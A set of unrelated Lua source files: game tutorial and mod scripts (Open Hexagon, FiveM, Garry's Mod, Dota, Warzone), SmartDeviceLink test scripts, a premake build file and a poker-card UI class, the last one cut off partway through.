e_messageAddImportant("Try swapping now!\nPress space or middle mouse button to swap", 10000)
end
function partTwo()
e_messageAddImportant("Awesome!", 120)
e_messageAddImportant("After swapping, you must wait before\nswapping again!", 250)
e_messageAddImportant("Let's introduce a swap pattern.", 180);
e_messageAddImportant("For this pattern, you must swap to survive", 180)
e_messageAddImportant("Swap at the right moment!", 180)
e_wait(180 * 3 + 120 + 250 + 120)
e_messageAddImportant("Excellent! You know how to swap!", 120)
t_wait(610)
pSwapBarrage(getRandomSide(), 2)
e_messageAddImportant("Let's talk about accelerating walls", 180);
e_messageAddImportant("These walls can change speed over time", 180);
e_messageAddImportant("They can either accelerate...", 180);
e_messageAddImportant("Decelerate...", 180);
e_messageAddImportant("Or go completely backwards to trick you!", 180);
e_wait(180 * 5 + 120 + 120)
t_wait(760);
pACBarrageAccelerate();
t_wait(120);
pACBarrageDecelerate();
t_wait(100);
pACBarrageDeception(3, 1);
e_messageAddImportant("But wait, it gets crazier!", 120);
e_messageAddImportant("Let's focus on curving walls", 120)
e_messageAddImportant("they can be simple...", 120)
e_wait(300 + 410)
t_wait(300)
hmcSimpleBarrage(0, 1)
t_wait(100)
hmcSimpleBarrage(0, -1)
t_wait(50)
hmcSimpleBarrage(0, math.random(1, 6))
t_wait(100)
hmcSimpleBarrage(0, -math.random(1, 6))
t_wait(80)
hmcSimpleBarrage(0, math.random(1, 6))
t_wait(80)
hmcSimpleBarrage(0, math.random(-6, 6))
t_wait(50)
e_messageAddImportant("...in various patterns...", 130)
e_wait(100 + 120 * 5 + 80)
t_wait(130)
hmcSimpleTwirl(5, math.random(-3, 3), 0)
t_wait(50)
hmcSimpleTwirl(5, -2, 1)
e_messageAddImportant("...or can accelerate!", 130)
e_wait(130 + 340)
t_wait(130)
hmcBarrage(0, 0.05, -1.5, 3, true)
t_wait(80)
hmcBarrage(0, -0.05, -3, 3, true)
t_wait(100)
hmcBarrage(0, 0.1, -2, 2, true)
t_wait(100)
hmcBarrage(0, 0.1, -3, 3, true)
t_wait(200)
e_messageAddImportant("they can also do crazy stuff!", 180)
e_wait(120 * 9)
hmcSimpleCage(2, 1)
t_wait(80)
hmcSimpleCage(2, -1)
t_wait(100)
hmcSimpleCage(2, 1)
hmcSimpleCage(2, 1)
t_wait(100)
hmcSimpleCage(2, 1)
hmcSimpleCage(2, -1)
t_wait(100)
hmcSimpleSpinner(getRandomSide(), 1)
t_wait(100)
hmcGrowBarrage(getRandomSide(), 0)
t_wait(100)
hmcGrowBarrage(getRandomSide(), 3)
t_wait(100)
hmcGrowBarrage(getRandomSide(), 6)
t_wait(100)
hmcAssembleBarrage(getRandomSide())
t_wait(100)
hmcAssembleBarrage(getRandomSide())
t_wait(100)
hmcAssembleBarrage(getRandomSide())
t_wait(700)
e_messageAddImportant("Well done!", 130)
e_messageAddImportant("You should be prepared to take on Hypercube!", 300)
e_messageAddImportant("Have fun!", 1000)
e_wait(340)
e_kill()
end
-- onStep is an hardcoded function that is called when the level timeline is empty
-- onStep should contain your pattern spawning logic
function onStep()
end
-- onIncrement is an hardcoded function that is called when the level difficulty is incremented
function onIncrement()
end
-- onUnload is an hardcoded function that is called when the level is closed/restarted
function onUnload()
end
-- continuous direction change (even if not on level increment)
dirChangeTime = 600
-- onUpdate is an hardcoded function that is called every frame
function onUpdate(mFrameTime)
--print(l_getPulse());
if (swappedOnce and swapTime) then
partTwo()
swapTime = false
end
dirChangeTime = dirChangeTime - mFrameTime;
if dirChangeTime < 0 then
-- do not change direction while fast spinning
if u_isFastSpinning() == false then
l_setRotationSpeed(l_getRotationSpeed() * -1.0)
dirChangeTime = 400
end
end
if not achievementUnlocked and l_getLevelTime() > 69 then
steam_unlockAchievement("a11_evotutorial")
achievementUnlocked = true
end
end
|
return {
"icons/dwarf_skill/skill_psy1-1",
"icons/dwarf_skill/skill_psy1-2",
"icons/dwarf_skill/skill_psy10-1",
"icons/dwarf_skill/skill_psy12-1",
"icons/dwarf_skill/skill_psy14-1",
"icons/dwarf_skill/skill_psy16-1",
"icons/dwarf_skill/skill_psy16-2",
"icons/dwarf_skill/skill_psy18-1",
"icons/dwarf_skill/skill_psy18-2",
"icons/dwarf_skill/skill_psy2-1",
"icons/dwarf_skill/skill_psy20-1",
"icons/dwarf_skill/skill_psy22-1",
"icons/dwarf_skill/skill_psy24-1",
"icons/dwarf_skill/skill_psy26-1",
"icons/dwarf_skill/skill_psy28-1",
"icons/dwarf_skill/skill_psy30-1",
"icons/dwarf_skill/skill_psy32-1",
"icons/dwarf_skill/skill_psy34-1",
"icons/dwarf_skill/skill_psy36-1",
"icons/dwarf_skill/skill_psy36-2",
"icons/dwarf_skill/skill_psy38-1",
"icons/dwarf_skill/skill_psy4-1",
"icons/dwarf_skill/skill_psy4-2",
"icons/dwarf_skill/skill_psy40-1",
"icons/dwarf_skill/skill_psy6-1",
"icons/dwarf_skill/skill_psy8-1",
"icons/dwarf_skill/skill_psy_har60-1",
"icons/dwarf_skill/skill_psy_har70-1",
"icons/dwarf_skill/skill_psy_mag60-1",
"icons/dwarf_skill/skill_psy_mag70-1",
"icons/dwarf_skill/skill_psy_pri15-1",
"icons/dwarf_skill/skill_psy_pri20-1",
"icons/dwarf_skill/skill_psy_pri25-1",
"icons/dwarf_skill/skill_psy_pri30-1",
"icons/dwarf_skill/skill_psy_pri35-1",
"icons/dwarf_skill/skill_psy_pri40-1",
"icons/dwarf_skill/skill_psy_pri45-1",
"icons/dwarf_skill/skill_psy_pri50-1",
"icons/dwarf_skill/skill_psy_pri60-1",
"icons/dwarf_skill/skill_psy_pri70-1",
"icons/dwarf_skill/skill_psy_thi15-1",
"icons/dwarf_skill/skill_psy_thi20-1",
"icons/dwarf_skill/skill_psy_thi25-1",
"icons/dwarf_skill/skill_psy_thi30-1",
"icons/dwarf_skill/skill_psy_thi35-1",
"icons/dwarf_skill/skill_psy_thi40-1",
"icons/dwarf_skill/skill_psy_thi45-1",
"icons/dwarf_skill/skill_psy_thi50-1",
"icons/dwarf_skill/skill_psy_thi60-1",
"icons/dwarf_skill/skill_psy_thi70-1",
"icons/dwarf_skill/skill_psy_war60-1",
"icons/dwarf_skill/skill_psy_war70-1",
}
|
shibb_gnarled_rancor = Creature:new {
objectName = "@mob/creature_names:thug",
randomNameType = NAME_GENERIC,
randomNameTag = true,
socialGroup = "brigand",
faction = "",
level = 17,
chanceHit = 0.32,
damageMin = 180,
damageMax = 190,
baseXp = 1257,
baseHAM = 3500,
baseHAMmax = 4300,
armor = 0,
resists = {0,0,0,0,0,0,0,-1,-1},
meatType = "",
meatAmount = 0,
hideType = "",
hideAmount = 0,
boneType = "",
boneAmount = 0,
milk = 0,
tamingChance = 0,
ferocity = 0,
pvpBitmask = AGGRESSIVE + ATTACKABLE + ENEMY,
creatureBitmask = PACK + KILLER + STALKER,
optionsBitmask = AIENABLED,
diet = HERBIVORE,
templates = {"object/mobile/rancor_hue.iff"},
controlDeviceTemplate = "object/intangible/pet/rancor_hue.iff",
scale = 1.1,
lootGroups = {},
weapons = {},
attacks = {
{"stunattack",""},
{"intimidationattack",""}
}
}
CreatureTemplates:addCreatureTemplate(shibb_gnarled_rancor, "shibb_gnarled_rancor")
|
CreateThread(function()
while (not NetworkIsSessionStarted()) do Wait(50) end
TriggerServerEvent("dl-core:playerJoined")
end)
CreateThread(function()
while (true) do
if (isLoggedIn) then
Wait((1000 * 60) * 30)
TriggerServerEvent("dl-core:server:updatePlayerSalary")
TriggerEvent("dl-phone:client:NotifySalary", DLCore.Functions.GetPlayerData().job.payment, DLCore.Functions.GetPlayerData().money["bank"] + DLCore.Functions.GetPlayerData().job.payment)
else
Wait(2000)
end
Wait(0)
end
end)
CreateThread(function()
while (true) do
if (isLoggedIn) then
Wait((1000 * 60) * 1)
TriggerServerEvent("dl-core:server:updatePlayer")
else
Wait(2000)
end
Wait(0)
end
end)
CreateThread(function()
while true do
Wait(7)
if isLoggedIn then
Wait(30000)
TriggerEvent("dl-core:client:updatePlayerPosition")
else
Wait(5000)
end
end
end)
local playerPed, playerHealth, playerData
CreateThread(function()
while (true) do
playerPed = PlayerPedId()
SetPedSuffersCriticalHits(playerPed, false)
if (isLoggedIn) then
playerData = DLCore.Functions.GetPlayerData()
if (playerData.metadata["hunger"] <= 0 or playerData.metadata["thirst"] <= 0) then
playerHealth = GetEntityHealth(playerPed)
SetEntityHealth(playerPed, playerHealth - 20)
end
end
Wait(5000)
end
end)
|
function Client_PresentSettingsUI(rootParent)
root = rootParent;
UI.CreateLabel(rootParent).SetText('AI Settings');
CreateLine('AIs are allowed to declare war on player : ', Mod.Settings.AllowAIDeclaration,false,true,'With this enabled, AIs will declare war on players(players turned into AI are excluded). This happens pretty much like they normaly attack --> they will declare war mainly on their surrounding players but also on those that they try to play cards on. If this is disabled and you are in war with an AI(e.g. since a player got booted and turned into AI, it will continue to fight you.');
CreateLine('AIs are allowed to declare war on AIs : ', Mod.Settings.AIsdeclearAIs,false,true,'With this enabled, AIs will declare war on other AIs or players turned into AI. This happens pretty much like they normaly attack --> they will declare war mainly on their surrounding players but also on those that they try to play cards on.');
UI.CreateLabel(rootParent).SetText(' ');
UI.CreateLabel(rootParent).SetText('Alliance Settings');
if(Mod.Settings.DisableAllies == nil or Mod.Settings.DisableAllies == false)then
CreateLine('Allied players can see your territories : ', Mod.Settings.SeeAllyTerritories,true,true,'If spycards are in the game and this feature is enabled, the mod automaticaly plays a spycard on all your allies so you can see their territories, this does not effect the lower setting that effects the normal playing of spycards on allies. For that it will not use your spycards.');
CreateLine('Allies are visible to everyone : ', Mod.Settings.PublicAllies,true,true,'This setting makes alliances be announced to everyone and visible in everyones history if set to true, otherwise it will only be visible for the players that made the alliance');
else
UI.CreateLabel(root).SetText("Alliances are disabled").SetColor('#FF0000');
end
UI.CreateLabel(rootParent).SetText(' ');
UI.CreateLabel(rootParent).SetText('Card Settings');
UI.CreateLabel(rootParent).SetText('Sanction Card');
if(AlwaysPlayable(Mod.Settings.SanctionCardRequireWar,Mod.Settings.SanctionCardRequirePeace,Mod.Settings.SanctionCardRequireAlly))then
UI.CreateLabel(rootParent).SetText('You can play a Sanction Card on everybody').SetColor('#FF0000');
else
if(NeverPlayable(Mod.Settings.SanctionCardRequireWar,Mod.Settings.SanctionCardRequirePeace,Mod.Settings.SanctionCardRequireAlly))then
UI.CreateLabel(rootParent).SetText('Sanction Cards are unplayable').SetColor('#FF0000');
else
CreateLine('Sanction Cards can be played on players you are in war with : ', Mod.Settings.SanctionCardRequireWar,true,false);
CreateLine('Sanction Cards can be played on players you are in peace with : ', Mod.Settings.SanctionCardRequirePeace,false,false);
if(Mod.Settings.DisableAllies == nil or Mod.Settings.DisableAllies == false)then
CreateLine('Sanction Cards can be played on players you are allied with : ', Mod.Settings.SanctionCardRequireAlly,false,false);
end
end
end
UI.CreateLabel(rootParent).SetText('Bomb Card');
if(AlwaysPlayable(Mod.Settings.BombCardRequireWar,Mod.Settings.BombCardRequirePeace,Mod.Settings.BombCardRequireAlly))then
UI.CreateLabel(rootParent).SetText('You can play a Bomb Card on everybody').SetColor('#FF0000');
else
if(NeverPlayable(Mod.Settings.BombCardRequireWar,Mod.Settings.BombCardRequirePeace,Mod.Settings.BombCardRequireAlly))then
UI.CreateLabel(rootParent).SetText('Bomb Cards are unplayable').SetColor('#FF0000');
else
CreateLine('Bomb Cards can be played on players you are in war with : ', Mod.Settings.BombCardRequireWar,true,false);
CreateLine('Bomb Cards can be played on players you are in peace with : ', Mod.Settings.BombCardRequirePeace,false,false);
if(Mod.Settings.DisableAllies == nil or Mod.Settings.DisableAllies == false)then
CreateLine('Bomb Cards can be played on players you are allied with : ', Mod.Settings.BombCardRequireAlly,false,false);
end
end
end
UI.CreateLabel(rootParent).SetText('Spy Card');
if(AlwaysPlayable(Mod.Settings.SpyCardRequireWar,Mod.Settings.SpyCardRequirePeace,Mod.Settings.SpyCardRequireAlly))then
UI.CreateLabel(rootParent).SetText('You can play a Spy Card on everybody').SetColor('#FF0000');
else
if(NeverPlayable(Mod.Settings.SpyCardRequireWar,Mod.Settings.SpyCardRequirePeace,Mod.Settings.SpyCardRequireAlly))then
UI.CreateLabel(rootParent).SetText('Spy Cards are unplayable').SetColor('#FF0000');
else
CreateLine('Spy Cards can be played on players you are in war with : ', Mod.Settings.SpyCardRequireWar,true,false);
CreateLine('Spy Cards can be played on players you are in peace with : ', Mod.Settings.SpyCardRequirePeace,false,false);
if(Mod.Settings.DisableAllies == nil or Mod.Settings.DisableAllies == false)then
CreateLine('Spy Cards can be played on players you are allied with : ', Mod.Settings.SpyCardRequireAlly,false,false);
end
end
end
UI.CreateLabel(rootParent).SetText('Gift Card');
if(AlwaysPlayable(Mod.Settings.GiftCardRequireWar,Mod.Settings.GiftCardRequirePeace,Mod.Settings.GiftCardRequireAlly))then
UI.CreateLabel(rootParent).SetText('You can play a Gift Card on everybody').SetColor('#FF0000');
else
if(NeverPlayable(Mod.Settings.GiftCardRequireWar,Mod.Settings.GiftCardRequirePeace,Mod.Settings.GiftCardRequireAlly))then
UI.CreateLabel(rootParent).SetText('Gift Cards are unplayable').SetColor('#FF0000');
else
CreateLine('Gift Cards can be played on players you are in war with : ', Mod.Settings.GiftCardRequireWar,false,false);
CreateLine('Gift Cards can be played on players you are in peace with : ', Mod.Settings.GiftCardRequirePeace,true,false);
if(Mod.Settings.DisableAllies == nil or Mod.Settings.DisableAllies == false)then
CreateLine('Gift Cards can be played on players you are allied with : ', Mod.Settings.GiftCardRequireAlly,true,false);
end
end
end
if(Mod.Settings.SeePeaceTerritories ~= nil)then
UI.CreateLabel(rootParent).SetText(' ');
UI.CreateLabel(rootParent).SetText('Other Settings');
CreateLine('Players in peace to each other can see each others territories : ', Mod.Settings.SeePeaceTerritories,true,true,'If spycards are in the game and this feature is enabled, the mod automaticaly plays a spycard on all players you are in peace with so you can see their territories, this does not effect the lower setting that effects the normal playing of spycards. For that it will not use your spycards. Usefull in games with fog');
end
end
function CreateLine(settingname,variable,default,important, help)
local horz = UI.CreateHorizontalLayoutGroup(root);
local lab = UI.CreateLabel(horz);
if(default == true or default == false)then
if(help ~= null)then
lab.SetText(settingname);
UI.CreateButton(horz).SetText('?').SetColor('#4FC5FF').SetOnClick(function() UI.Alert(help); end);
lab = UI.CreateLabel(horz);
lab.SetText(booltostring(variable,default));
else
lab.SetText(settingname .. booltostring(variable,default));
end
else
if(variable == nil)then
if(help ~= null)then
lab.SetText(settingname);
UI.CreateButton(horz).SetText('?').SetColor('#4FC5FF').SetOnClick(function() UI.Alert(help); end);
lab = UI.CreateLabel(horz);
lab.SetText(default);
else
lab.SetText(settingname .. default);
end
else
lab.SetText(settingname .. variable);
end
end
if(variable ~= nil and variable ~= default)then
if(important == true)then
lab.SetColor('#FF0000');
else
lab.SetColor('#FFFF00');
end
end
end
function booltostring(variable,default)
if(variable == nil)then
if(default)then
return "Yes";
else
return "No";
end
end
if(variable)then
return "Yes";
else
return "No";
end
end
function AlwaysPlayable(warsetting,peacesetting,allysetting)
if(peacesetting == nil and allysetting == nil)then
if(warsetting == nil)then
return true;
else
if(warsetting)then
return false;
else
return true;
end
end
end
if(peacesetting and allysetting and warsetting)then
return true;
end
return false;
end
function NeverPlayable(warsetting,peacesetting,allysetting)
if(peacesetting == nil and allysetting == nil)then
return false;
end
if(Mod.Settings.DisableAllies == nil or Mod.Settings.DisableAllies == false)then
if(peacesetting == false and allysetting == false and warsetting == false)then
return true;
end
else
if(peacesetting == false and warsetting == false)then
return true;
end
end
return false;
end
|
_ENV=namespace "ui"
using_namespace "luaClass"
using_namespace "container"
class("CardUI"){
super(cc.DrawNode);
super(LUIObject);
SINGAL.touched("touch","event","CardUI");
property "onTouch" {WRITE.onCardTouch};
public{
FUNCTION.CardUI(function(self,size,color)
self=self:__super()
self:LUIObject()
self:setCascadeOpacityEnabled(true)
local pointArray={
cc.p(0,0),
cc.p(size.width,0),
cc.p(size.width,size.height),
cc.p(size.width/5,size.height),
cc.p(0,size.height*0.8)
}
local fill=color or cc.c4f(0,0,0,0.6)
self:drawPolygon(pointArray,5,fill,2,fill)
self:setContentSize(size)
end);
FUNCTION.setText(function(self,text,fontSize)
if self._label==nil then
fontSize=fontSize or 20
self._label=createLabel(text,fontSize)
:setAnchorPoint(0,0)
:setPosition(0,0)
:setTag(10)
:addTo(self)
else
self._label:setString(text)
end
return self
end);
FUNCTION.onCardTouch(function(self,swall)
local onBegin=function(touch,event)
self:setOpacity(128)
end
local move=function()
self:setOpacity(255)
end
local onEnd=function(touch,event,inRect)
self:setOpacity(255)
if inRect and self:isVisible()==true then
self:touched(touch,event,self)
end
end
onNodeTouchIn(self,onBegin,move,onEnd,swall)
end);
};
protected{
MEMBER._label;
};
}
|
---------------------------------------------------------------------------------------------------
-- Description: Resumption of subscription for MEDIA app service data after unexpected disconnect
-- Precondition:
-- 1) Application with <appID> is registered on SDL.
-- 2) Specific permissions are assigned for <appID> with OnAppServiceData
-- 3) HMI has published a MEDIA service
-- 4) Application is subscribed to MEDIA app service data
-- 5) Transport reconnection is performed
-- Sequence:
-- 1. Mobile app registers with actual hashID
-- a. SDL starts data resumption
-- 2. SDL resumes subscription for MEDIA app service data sends AppService.GetAppServiceData request to HMI
-- a. HMI responds with success resultCode
-- 3. After success response from HMI SDL resumes the subscription
-- 4. HMI sends OnAppServiceData notification
-- a. SDL resend OnAppServiceData notification to mobile app
---------------------------------------------------------------------------------------------------
--[[ Required Shared libraries ]]
local runner = require('user_modules/script_runner')
local common = require('test_scripts/AppServices/commonAppServices')
local test = require("user_modules/dummy_connecttest")
local events = require('events')
local utils = require('user_modules/utils')
--[[ Test Configuration ]]
runner.testSettings.isSelfIncluded = false
-- [[Local Variable]]
local hashID
--[[ Local Functions ]]
local function PTUfunc(tbl)
tbl.policy_table.app_policies[common.getConfigAppParams(1).fullAppID] = common.getAppServiceConsumerConfig(1);
end
local manifest = {
serviceName = "HMI_MEDIA_SERVICE",
serviceType = "MEDIA",
allowAppConsumers = true,
rpcSpecVersion = config.application1.registerAppInterfaceParams.syncMsgVersion,
mediaServiceManifest = {}
}
local rpc = {
name = "OnAppServiceData",
hmiName = "AppService.OnAppServiceData"
}
local appServiceData = {
serviceType = manifest.serviceType,
mediaServiceData = {
mediaType = "MUSIC",
mediaTitle = "Song name",
mediaArtist = "Band name",
mediaAlbum = "Album name",
playlistName = "Good music",
isExplicit = false,
trackPlaybackProgress = 200,
trackPlaybackDuration = 300,
queuePlaybackProgress = 2200,
queuePlaybackDuration = 4000,
queueCurrentTrackNumber = 12,
queueTotalTrackCount = 20
}
}
local expectedNotification = {
serviceData = appServiceData
}
local function processRPCSuccess()
local mobileSession = common.getMobileSession()
local service_id = common.getAppServiceID(0)
local notificationParams = expectedNotification
notificationParams.serviceData.serviceID = service_id
common.getHMIConnection():SendNotification(rpc.hmiName, notificationParams)
mobileSession:ExpectNotification(rpc.name, notificationParams)
end
local function checkResumption(pAppId)
common.getHMIConnection():ExpectRequest("BasicCommunication.ActivateApp", {})
:Do(function(_, data)
common.getHMIConnection():SendResponse(data.id, data.method, "SUCCESS", {})
end)
common.getMobileSession(pAppId):ExpectNotification("OnHMIStatus",
{ hmiLevel = "NONE" },
{ hmiLevel = "FULL" })
:Times(2)
end
local function reRegisterApp(pAppId)
if not pAppId then pAppId = 1 end
common.getMobileSession():StartService(7)
:Do(function()
local params = utils.cloneTable(common.getConfigAppParams(pAppId))
params.hashID = hashID
local corId = common.getMobileSession():SendRPC("RegisterAppInterface", params)
common.getHMIConnection():ExpectNotification("BasicCommunication.OnAppRegistered",
{ application = { appName = common.getConfigAppParams(pAppId).appName } })
common.getMobileSession():ExpectResponse(corId, { success = true, resultCode = "SUCCESS" })
:Do(function()
common.getMobileSession(pAppId):ExpectNotification("OnPermissionsChange")
end)
end)
checkResumption(pAppId)
end
local function unexpectedDisconnect()
test.mobileConnection:Close()
common.getHMIConnection():ExpectNotification("BasicCommunication.OnAppUnregistered", { unexpectedDisconnect = true })
:Do(function()
for i = 1, common.getAppsCount() do
test.mobileSession[i] = nil
end
end)
end
local function connectMobile()
test.mobileConnection:Connect()
common.getMobileSession():ExpectEvent(events.connectedEvent, "Connected")
:Do(function()
utils.cprint(35, "Mobile connected")
end)
end
local function mobileSubscribeAppServiceData(pAppId)
if not pAppId then pAppId = 1 end
common.getMobileSession(pAppId):ExpectNotification("OnHashChange")
:Do(function(_, data)
hashID = data.payload.hashID
end)
common.mobileSubscribeAppServiceData(0)
end
-- [[ Scenario ]]
runner.Title("Preconditions")
runner.Step("Clean environment", common.preconditions)
runner.Step("Start SDL, HMI, connect Mobile, start Session", common.start)
runner.Step("App registration", common.registerApp)
runner.Step("PTU", common.policyTableUpdate, { PTUfunc })
runner.Step("App activation", common.activateApp)
runner.Step("Publish App Service", common.publishEmbeddedAppService, { manifest })
runner.Step("Subscribe App Service Data", mobileSubscribeAppServiceData)
runner.Title("Test")
runner.Step("RPC " .. rpc.name .. "_resultCode_SUCCESS", processRPCSuccess)
runner.Step("Unexpected disconnect", unexpectedDisconnect)
runner.Step("Connect mobile", connectMobile)
runner.Step("App Reregistration", reRegisterApp)
runner.Step("RPC " .. rpc.name .. "_resultCode_SUCCESS", processRPCSuccess)
runner.Title("Postconditions")
runner.Step("Stop SDL", common.postconditions)
|
_AMD_SAMPLE_NAME = "CrossfireSample"
dofile ("../../premake/amd_premake_util.lua")
workspace (_AMD_SAMPLE_NAME)
configurations { "Debug", "Release" }
platforms { "x64" }
location "../build"
filename (_AMD_SAMPLE_NAME .. _AMD_VS_SUFFIX)
startproject (_AMD_SAMPLE_NAME)
filter "platforms:x64"
system "Windows"
architecture "x64"
project (_AMD_SAMPLE_NAME)
kind "ConsoleApp"
language "C++"
characterset "Unicode"
location "../build"
filename (_AMD_SAMPLE_NAME .. _AMD_VS_SUFFIX)
uuid "4C0AC3AC-57E7-4DCD-8B36-7074CA208B3B"
targetdir "../bin"
objdir "../build/%{_AMD_SAMPLE_DIR_LAYOUT}"
warnings "Extra"
floatingpoint "Fast"
symbols "On"
-- Specify WindowsTargetPlatformVersion here for VS2015
systemversion (_AMD_WIN_SDK_VERSION)
-- Copy DLLs to the local bin directory
postbuildcommands { amdAgsSamplePostbuildCommands(true) }
postbuildmessage "Copying dependencies..."
files { "../src/**.h", "../src/**.cpp", "../src/**.hlsl", "../../%{_AMD_AGS_DIRECTORY_NAME}/inc/*.h" }
includedirs { "../../%{_AMD_AGS_DIRECTORY_NAME}/inc" }
libdirs { "../../%{_AMD_AGS_DIRECTORY_NAME}/lib" }
links { "amd_ags_x64", "d3dcompiler", "d3d11" }
filter "configurations:Debug"
defines { "WIN32", "_DEBUG", "_CONSOLE", "_WIN32_WINNT=0x0601" }
flags { "FatalWarnings" }
targetsuffix ("_Debug" .. _AMD_VS_SUFFIX)
filter "configurations:Release"
defines { "WIN32", "NDEBUG", "_CONSOLE", "_WIN32_WINNT=0x0601" }
flags { "LinkTimeOptimization", "FatalWarnings" }
targetsuffix ("_Release" .. _AMD_VS_SUFFIX)
optimize "On"
|
UI.Label("vBot v4.0 \n Vithrax#5814")
UI.Button("Official OTCv8 Discord!", function() g_platform.openUrl("https://discord.gg/yhqBE4A") end)
UI.Separator()
|
local bgNPC = bgNPC
local CLIENT = CLIENT
local table = table
local pairs = pairs
local IsValid = IsValid
--
if CLIENT then
snet.Callback('bgm_update_death_actors_on_client', function(ply, npc)
if npc then bgNPC:RemoveNPC(npc) end
bgNPC:ClearRemovedNPCs()
end).Register()
snet.Callback('bgn_add_actor_from_client', function(ply, npc, npc_type, uid, info)
if bgNPC:GetActor(npc) ~= nil then return end
local actor = BGN_ACTOR:Instance(npc, npc_type, uid)
actor.info = info
end).Validator(SNET_ENTITY_VALIDATOR).Register()
end
function bgNPC:AddNPC(actor)
local npc = actor:GetNPC()
if table.HasValueBySeq(self.npcs, npc) then return end
table.insert(self.actors, actor)
table.insert(self.npcs, npc)
local npc_type = actor:GetType()
self.factors[npc_type] = self.factors[npc_type] or {}
table.insert(self.factors[npc_type], actor)
self.fnpcs[npc_type] = self.fnpcs[npc_type] or {}
table.insert(self.fnpcs[npc_type], npc)
end
function bgNPC:RemoveNPC(npc)
snet.Request('bgm_update_death_actors_on_client', npc).InvokeAll()
for i = #self.actors, 1, -1 do
if self.actors[i]:GetNPC() == npc then
table.remove(self.actors, i)
break
end
end
for i = #self.npcs, 1, -1 do
if self.npcs[i] == npc then
table.remove(self.npcs, i)
break
end
end
for key, data in pairs(self.factors) do
for i = #data, 1, -1 do
if data[i]:GetNPC() == npc then
table.remove(self.factors[key], i)
break
end
end
end
for key, data in pairs(self.fnpcs) do
for i = #data, 1, -1 do
if data[i] == npc then
table.remove(self.fnpcs[key], i)
break
end
end
end
end
function bgNPC:ClearRemovedNPCs()
for i = #self.actors, 1, -1 do
local npc = self.actors[i]:GetNPC()
if not IsValid(npc) then table.remove(self.actors, i) end
end
for i = #self.npcs, 1, -1 do
local npc = self.npcs[i]
if not IsValid(npc) then table.remove(self.npcs, i) end
end
for key, data in pairs(self.factors) do
for i = #data, 1, -1 do
local npc = data[i]:GetNPC()
if not IsValid(npc) then table.remove(self.factors[key], i) end
end
end
for key, data in pairs(self.fnpcs) do
for i = #data, 1, -1 do
local npc = data[i]
if not IsValid(npc) then table.remove(self.fnpcs[key], i) end
end
end
end
|
self = {}
--------------------------------------------------------------------------------
function OnCreated( keys )
self.target = keys.target:GetAbsOrigin()
self.ring_radius = keys.ability:GetSpecialValueFor( "ring_radius" )
self.ring_duration = keys.ability:GetSpecialValueFor( "ring_duration" )
self.stun_duration = keys.ability:GetSpecialValueFor( "stun_duration" )
self.thickness = keys.ability:GetSpecialValueFor( "edge_thickness" )
self.thickness = 50
self.hitList = {}
AddFOWViewer(keys.caster:GetTeamNumber(), self.target, self.ring_duration, self.ring_radius, false)
DebugDrawCircle(self.target, Vector(0, 255, 0), 1.0, self.ring_radius, true, self.ring_duration)
DebugDrawCircle(self.target, Vector(0, 255, 0), 1.0, self.ring_radius - self.thickness, true, self.ring_duration)
OnIntervalThink( keys )
end
--------------------------------------------------------------------------------
function OnIntervalThink( keys )
local units = FindUnitsInRadius(keys.caster:GetTeamNumber(), self.target, nil, self.ring_radius, DOTA_UNIT_TARGET_TEAM_ENEMY, DOTA_UNIT_TARGET_HERO + DOTA_UNIT_TARGET_BASIC, DOTA_UNIT_TARGET_FLAG_NONE, FIND_ANY_ORDER, false)
for _,unit in pairs(units) do
local pos = unit:GetAbsOrigin()
local displacement = pos - self.target
local distance = displacement:Length2D()
if distance >= self.ring_radius - self.thickness and self.hitList[unit] == nil then
keys.ability:ApplyDataDrivenModifier(keys.caster, unit, "modifier_veigar_event_horizon", {})
self.hitList[unit] = true
end
end
end
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
|
---------------------------------------------------------------------------------------------------
-- Precondition:
-- 1) Application with <appID> is registered on SDL.
-- 2) AppServiceConsumer permissions are assigned for <appID>
-- 3) Application sends a PutFile Request with a given file name
--
-- Steps:
-- 1) Application sends a GetFile Request with the same file name
--
-- Expected:
-- 1) GetFile will return SUCCESS
-- 2) The CRC value returned in the GetFile response will be the same as the crc32 hash of the file binary data
---------------------------------------------------------------------------------------------------
--[[ Required Shared libraries ]]
local runner = require('user_modules/script_runner')
local common = require('test_scripts/AppServices/commonAppServices')
--[[ Test Configuration ]]
runner.testSettings.isSelfIncluded = false
--[[ Local functions ]]
local function PTUfunc(tbl)
tbl.policy_table.app_policies[common.getConfigAppParams(1).fullAppID] = common.getAppServiceConsumerConfig(1);
end
--[[ Local variables ]]
local putFileParams = {
syncFileName = "icon.png",
fileType ="GRAPHIC_PNG",
}
local getFileParams = {
fileName = "icon.png",
fileType = "GRAPHIC_PNG",
}
local result = { success = true, resultCode = "SUCCESS"}
--[[ Scenario ]]
runner.Title("Preconditions")
runner.Step("Clean environment", common.preconditions)
runner.Step("Start SDL, HMI, connect Mobile, start Session", common.start)
runner.Step("RAI", common.registerApp)
runner.Step("PTU", common.policyTableUpdate, { PTUfunc })
runner.Step("Activate App", common.activateApp)
runner.Step("Putfile", common.putFileInStorage, {1, putFileParams, result})
runner.Title("Test")
runner.Step("Getfile", common.getFileFromStorage, {1, getFileParams, result})
runner.Title("Postconditions")
runner.Step("Stop SDL", common.postconditions)
|
local SingleLinePokerBackView = class(Node);
local pokerScale = 0.82;
SingleLinePokerBackView.defaultConfig = {
totalWidth = System.getScreenScaleWidth() - 30; --n张扑克牌所占的总宽度
pokerWidth = 202*pokerScale; --每张扑克牌的宽度
pokerHeight = 272*pokerScale;--每张扑克牌的高度
maxSpace = 120 * pokerScale;--牌与牌之间的最大间隔
file = "games/common/poker/poker_back_big.png";--绘制牌背被使用的图片
};
SingleLinePokerBackView.ctor = function(self,config)
self.m_config = self:_parseConfig(config);
self:setSize(self.m_config.totalWidth,self.m_config.pokerHeight);
self.m_cards = {};
end
SingleLinePokerBackView.dtor = function(self)
end
----------------------------------------------------------------------------------------------
--添加牌
SingleLinePokerBackView.addPokers = function(self,pokerCount)
pokerCount = number.valueOf(pokerCount);
if pokerCount <= 0 then
return;
end
for i = 1,pokerCount do
local poker = self:_createPoker();
table.insert(self.m_cards,poker);
self:addChild(poker);
poker:setSize(self.m_config.pokerWidth, self.m_config.pokerHeight);
end
self:_updatePoker();
end
--移除牌
SingleLinePokerBackView.removePokers = function(self, pokerCount)
pokerCount = number.valueOf(pokerCount);
if pokerCount <= 0 then
return;
end
for i = 1,pokerCount do
local poker = table.remove(self.m_cards);
self:removeChild(poker,true);
poker = nil;
end
self:_updatePoker();
end
--移除所有牌
SingleLinePokerBackView.removeAllPokers = function(self)
for k, v in pairs(self.m_cards) do
self:removeChild(v);
delete(v);
end
